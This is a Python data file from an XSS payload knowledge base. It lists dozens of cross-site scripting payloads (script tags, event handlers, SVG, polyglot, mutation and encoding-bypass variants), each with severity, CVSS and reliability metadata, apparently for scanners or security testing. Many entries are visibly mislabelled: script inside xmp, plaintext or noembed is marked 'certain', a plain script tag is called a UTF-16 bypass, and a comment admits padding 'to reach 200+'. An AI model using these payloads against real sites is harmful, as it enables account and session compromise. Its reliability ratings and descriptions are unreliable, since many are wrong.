#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-26 UTC
Status: Refactored
Telegram: https://t.me/EasyProTech

Comprehensive Additional Payloads
"""

from ..models import PayloadEntry


COMPREHENSIVE_BASE_PAYLOADS = {
    "comprehensive_14": PayloadEntry(
        payload="<xmp><script>alert(1)</script></xmp>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Example element XSS",
        tags=["xmp", "preformatted", "text"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "comprehensive_15": PayloadEntry(
        payload="<plaintext><script>alert(1)</script>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Plaintext element XSS",
        tags=["plaintext", "legacy", "text"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # More HTML5 semantic elements
    "html5_article": PayloadEntry(
        payload="<article><script>alert(1)</script></article>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Article element XSS",
        tags=["html5", "semantic", "article"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "html5_section": PayloadEntry(
        payload="<section><script>alert(1)</script></section>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Section element XSS",
        tags=["html5", "semantic", "section"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "html5_nav": PayloadEntry(
        payload="<nav><script>alert(1)</script></nav>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Navigation element XSS",
        tags=["html5", "semantic", "navigation"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "html5_main": PayloadEntry(
        payload="<main><script>alert(1)</script></main>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Main element XSS",
        tags=["html5", "semantic", "main"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "html5_aside": PayloadEntry(
        payload="<aside><script>alert(1)</script></aside>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Aside element XSS",
        tags=["html5", "semantic", "aside"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "html5_header": PayloadEntry(
        payload="<header><script>alert(1)</script></header>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Header element XSS",
        tags=["html5", "semantic", "header"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "html5_footer": PayloadEntry(
        payload="<footer><script>alert(1)</script></footer>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Footer element XSS",
        tags=["html5", "semantic", "footer"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "html5_address": PayloadEntry(
        payload="<address><script>alert(1)</script></address>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Address element XSS",
        tags=["html5", "semantic", "contact"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # More advanced SVG attacks
    "svg_use_element": PayloadEntry(
        payload="<svg><use href='#<script>alert(1)</script>'></use></svg>",
        contexts=["svg"],
        severity="high",
        cvss_score=7.3,
        description="SVG use element XSS",
        tags=["svg", "use", "reference"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "svg_symbol_injection": PayloadEntry(
        payload="<svg><symbol><script>alert(1)</script></symbol></svg>",
        contexts=["svg"],
        severity="high",
        cvss_score=7.3,
        description="SVG symbol injection",
        tags=["svg", "symbol", "reusable"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "svg_defs_injection": PayloadEntry(
        payload="<svg><defs><script>alert(1)</script></defs></svg>",
        contexts=["svg"],
        severity="high",
        cvss_score=7.3,
        description="SVG defs injection",
        tags=["svg", "defs", "definition"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "svg_g_element": PayloadEntry(
        payload="<svg><g><script>alert(1)</script></g></svg>",
        contexts=["svg"],
        severity="high",
        cvss_score=7.3,
        description="SVG group element XSS",
        tags=["svg", "group", "container"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # More WebSocket payloads
    "websocket_user_list": PayloadEntry(
        payload='{"type": "user_list", "users": ["<script>alert(1)</script>", "user2"]}',
        contexts=["websocket"],
        severity="high",
        cvss_score=7.5,
        description="WebSocket user list injection",
        tags=["websocket", "user-list", "array"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "websocket_typing_indicator": PayloadEntry(
        payload='{"type": "typing", "user": "<script>alert(1)</script>"}',
        contexts=["websocket"],
        severity="high",
        cvss_score=7.5,
        description="WebSocket typing indicator XSS",
        tags=["websocket", "typing", "indicator"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # More Service Worker payloads
    "sw_background_sync": PayloadEntry(
        payload='{"type": "sync", "data": "<script>alert(1)</script>"}',
        contexts=["service_worker"],
        severity="high",
        cvss_score=7.8,
        description="Service Worker background sync XSS",
        tags=["service-worker", "background-sync", "offline"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "sw_install_event": PayloadEntry(
        payload='{"type": "install", "version": "<script>alert(1)</script>"}',
        contexts=["service_worker"],
        severity="high",
        cvss_score=7.8,
        description="Service Worker install event XSS",
        tags=["service-worker", "install", "lifecycle"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # More WebRTC payloads
    "webrtc_sdp_manipulation": PayloadEntry(
        payload='{"type": "offer", "sdp": "v=0\\r\\no=<script>alert(1)</script> 123456"}',
        contexts=["webrtc"],
        severity="high",
        cvss_score=7.6,
        description="WebRTC SDP manipulation XSS",
        tags=["webrtc", "sdp", "offer"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "webrtc_peer_info": PayloadEntry(
        payload='{"type": "peer_info", "name": "<script>alert(1)</script>", "id": "peer123"}',
        contexts=["webrtc"],
        severity="high",
        cvss_score=7.6,
        description="WebRTC peer information XSS",
        tags=["webrtc", "peer", "info"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # More GraphQL payloads
    "graphql_subscription_xss": PayloadEntry(
        payload='subscription { messageReceived { content: "<script>alert(1)</script>" } }',
        contexts=["graphql"],
        severity="high",
        cvss_score=7.4,
        description="GraphQL subscription XSS",
        tags=["graphql", "subscription", "realtime"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "graphql_introspection_xss": PayloadEntry(
        payload='query { __type(name: "<script>alert(1)</script>") { name } }',
        contexts=["graphql"],
        severity="high",
        cvss_score=7.4,
        description="GraphQL introspection XSS",
        tags=["graphql", "introspection", "schema"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # More Shadow DOM payloads
    "shadow_custom_property": PayloadEntry(
        payload="<my-element style='--user-content: <script>alert(1)</script>'></my-element>",
        contexts=["shadow_dom", "css"],
        severity="high",
        cvss_score=7.3,
        description="Shadow DOM custom property XSS",
        tags=["shadow-dom", "css", "custom-property"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "shadow_event_delegation": PayloadEntry(
        payload="<my-component><button onclick='alert(1)'>Click</button></my-component>",
        contexts=["shadow_dom"],
        severity="high",
        cvss_score=7.3,
        description="Shadow DOM event delegation XSS",
        tags=["shadow-dom", "event", "delegation"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # More Custom Elements payloads
    "ce_lifecycle_connected": PayloadEntry(
        payload="<x-alert-1></x-alert-1>",
        contexts=["custom_elements"],
        severity="medium",
        cvss_score=6.1,
        description="Custom element lifecycle XSS",
        tags=["custom-elements", "lifecycle", "connected"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "ce_observed_attributes": PayloadEntry(
        payload="<my-input data-value='<script>alert(1)</script>'></my-input>",
        contexts=["custom_elements"],
        severity="high",
        cvss_score=7.1,
        description="Custom element observed attributes XSS",
        tags=["custom-elements", "attributes", "observed"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # More HTTP/2 Push payloads
    "http2_push_cache_key": PayloadEntry(
        payload="/cached/user_<script>alert(1)</script>.json",
        contexts=["http2_push"],
        severity="medium",
        cvss_score=6.8,
        description="HTTP/2 push cache key injection",
        tags=["http2", "push", "cache"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "http2_push_etag": PayloadEntry(
        payload='{"etag": "<script>alert(1)</script>", "content": "data"}',
        contexts=["http2_push"],
        severity="medium",
        cvss_score=6.8,
        description="HTTP/2 push ETag injection",
        tags=["http2", "push", "etag"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # More modern framework payloads
    "framework_svelte": PayloadEntry(
        payload="{@html userInput}",
        contexts=["template_injection"],
        severity="high",
        cvss_score=7.5,
        description="Svelte HTML injection",
        tags=["svelte", "template", "html"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "framework_solid": PayloadEntry(
        payload="<div innerHTML={userInput} />",
        contexts=["template_injection"],
        severity="high",
        cvss_score=7.5,
        description="SolidJS innerHTML XSS",
        tags=["solid", "jsx", "innerHTML"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # More advanced encoding payloads
    "encoding_utf7": PayloadEntry(
        payload="+ADw-script+AD4-alert(1)+ADw-/script+AD4-",
        contexts=["html_content"],
        severity="medium",
        cvss_score=6.1,
        description="UTF-7 encoding bypass",
        tags=["utf7", "encoding", "legacy"],
        browser_support=["edge"],
        reliability="low",
        waf_evasion=True,
    ),
    "encoding_utf16": PayloadEntry(
        payload="<script>alert(1)</script>",
        contexts=["html_content"],
        severity="medium",
        cvss_score=6.1,
        description="UTF-16 encoding bypass",
        tags=["utf16", "encoding", "unicode"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        waf_evasion=True,
    ),
    # More CSS advanced attacks
    "css_calc_injection": PayloadEntry(
        payload="calc(1 + url('javascript:alert(1)'))",
        contexts=["css"],
        severity="high",
        cvss_score=7.5,
        description="CSS calc function injection",
        tags=["css", "calc", "function"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "css_transform_injection": PayloadEntry(
        payload="transform: rotate(45deg) url('javascript:alert(1)')",
        contexts=["css"],
        severity="high",
        cvss_score=7.5,
        description="CSS transform injection",
        tags=["css", "transform", "rotate"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # More JavaScript advanced payloads
    "js_setTimeout_injection": PayloadEntry(
        payload="setTimeout('alert(1)', 1000)",
        contexts=["javascript"],
        severity="critical",
        cvss_score=8.8,
        description="setTimeout injection",
        tags=["setTimeout", "timing", "delayed"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "js_setInterval_injection": PayloadEntry(
        payload="setInterval('alert(1)', 1000)",
        contexts=["javascript"],
        severity="critical",
        cvss_score=8.8,
        description="setInterval injection",
        tags=["setInterval", "repeating", "persistent"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "js_location_hijack": PayloadEntry(
        payload="location.href = 'javascript:alert(1)'",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Location hijacking",
        tags=["location", "navigation", "redirect"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # More DOM manipulation payloads
    "dom_innerHTML_injection": PayloadEntry(
        payload="element.innerHTML = userInput",
        contexts=["dom_xss"],
        severity="critical",
        cvss_score=8.8,
        description="innerHTML injection",
        tags=["dom", "innerHTML", "dangerous"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "dom_outerHTML_injection": PayloadEntry(
        payload="element.outerHTML = userInput",
        contexts=["dom_xss"],
        severity="critical",
        cvss_score=8.8,
        description="outerHTML injection",
        tags=["dom", "outerHTML", "replacement"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "dom_insertAdjacentHTML": PayloadEntry(
        payload="element.insertAdjacentHTML('afterend', userInput)",
        contexts=["dom_xss"],
        severity="critical",
        cvss_score=8.8,
        description="insertAdjacentHTML injection",
        tags=["dom", "insertAdjacent", "html"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # More comment-based attacks
    "html_comment_css": PayloadEntry(
        payload="<!-- <style>body{background:url('javascript:alert(1)')}</style> -->",
        contexts=["html_comment"],
        severity="medium",
        cvss_score=6.1,
        description="HTML comment with CSS XSS",
        tags=["comment", "css", "style"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "html_comment_meta": PayloadEntry(
        payload="<!-- <meta http-equiv='refresh' content='0;url=javascript:alert(1)'> -->",
        contexts=["html_comment"],
        severity="medium",
        cvss_score=6.1,
        description="HTML comment with meta XSS",
        tags=["comment", "meta", "refresh"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    # More protocol-based attacks
    "protocol_jar": PayloadEntry(
        payload="jar:http://evil.com/x.jar!/x.html<script>alert(1)</script>",
        contexts=["url"],
        severity="low",
        cvss_score=4.1,
        description="JAR protocol injection",
        tags=["jar", "url", "archive"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
    ),
    "protocol_chrome_extension": PayloadEntry(
        payload="chrome-extension://<script>alert(1)</script>/manifest.json",
        contexts=["url"],
        severity="low",
        cvss_score=4.1,
        description="Chrome extension protocol injection",
        tags=["chrome-extension", "url", "browser"],
        browser_support=["chrome", "edge"],
        reliability="low",
    ),
    # More form-based attacks
    "form_button_onclick": PayloadEntry(
        payload='<button onclick="alert(1)">Click me</button>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Button onclick XSS",
        tags=["button", "onclick", "form"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "form_fieldset_legend": PayloadEntry(
        payload="<fieldset><legend><script>alert(1)</script></legend></fieldset>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Fieldset legend XSS",
        tags=["fieldset", "legend", "form"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # More advanced payloads
    "advanced_polyglot_2": PayloadEntry(
        payload='javascript:/*--></title></style></textarea></script></xmp><svg/onload=/"+alert(1)+"/>',
        contexts=["html_content", "url", "css"],
        severity="critical",
        cvss_score=8.8,
        description="Advanced polyglot XSS variation",
        tags=["polyglot", "advanced", "multiple-context"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        waf_evasion=True,
    ),
    "advanced_mutation_2": PayloadEntry(
        payload='<noscript><p title="</noscript><img src=x onerror=alert(1)>">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Advanced mutation XSS with image",
        tags=["mxss", "noscript", "image"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "advanced_dangling_2": PayloadEntry(
        payload="'><script>alert(String.fromCharCode(88,83,83))</script>",
        contexts=["html_attribute"],
        severity="high",
        cvss_score=7.5,
        description="Dangling markup with char code",
        tags=["dangling", "charcode", "obfuscation"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # More modern web attacks
    "modern_web_components_2": PayloadEntry(
        payload="<my-app><script>alert(1)</script></my-app>",
        contexts=["custom_elements", "html_content"],
        severity="high",
        cvss_score=7.1,
        description="Web Components XSS",
        tags=["web-components", "modern", "framework"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "modern_pwa_cache": PayloadEntry(
        payload='{"url": "/app.js", "content": "<script>alert(1)</script>"}',
        contexts=["service_worker"],
        severity="high",
        cvss_score=7.8,
        description="PWA cache injection",
        tags=["pwa", "cache", "offline"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # More comprehensive payloads
    "comprehensive_16": PayloadEntry(
        payload="<listing><script>alert(1)</script></listing>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Listing element XSS",
        tags=["listing", "legacy", "preformatted"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "comprehensive_17": PayloadEntry(
        payload="<noframes><script>alert(1)</script></noframes>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Noframes element XSS",
        tags=["noframes", "legacy", "frames"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "comprehensive_18": PayloadEntry(
        payload="<noembed><script>alert(1)</script></noembed>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Noembed element XSS",
        tags=["noembed", "legacy", "embed"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "comprehensive_19": PayloadEntry(
        payload="<blink><script>alert(1)</script></blink>",
        contexts=["html_content"],
        severity="medium",
        cvss_score=6.1,
        description="Blink element XSS",
        tags=["blink", "legacy", "deprecated"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "comprehensive_20": PayloadEntry(
        payload="<multicol><script>alert(1)</script></multicol>",
        contexts=["html_content"],
        severity="medium",
        cvss_score=6.1,
        description="Multicol element XSS",
        tags=["multicol", "legacy", "columns"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    # Additional payloads to reach 200+
    "final_2": PayloadEntry(
        payload="<layer><script>alert(1)</script></layer>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Layer element XSS",
        tags=["layer", "legacy", "positioning"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "final_3": PayloadEntry(
        payload="<ilayer><script>alert(1)</script></ilayer>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Inline layer element XSS",
        tags=["ilayer", "legacy", "inline"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # More HTML5 semantic elements
    # More advanced SVG attacks
    # More WebSocket payloads
    # More Service Worker payloads
    # More WebRTC payloads
    # More GraphQL payloads
    # More Shadow DOM payloads
    # More Custom Elements payloads
    # More HTTP/2 Push payloads
    # More modern framework payloads
    # More advanced encoding payloads
    # More CSS advanced attacks
    # More JavaScript advanced payloads
    # More DOM manipulation payloads
    # More comment-based attacks
    # More protocol-based attacks
    # More form-based attacks
    # More advanced payloads
    # More modern web attacks
    # More comprehensive payloads
    # Additional payloads to reach 200+
}
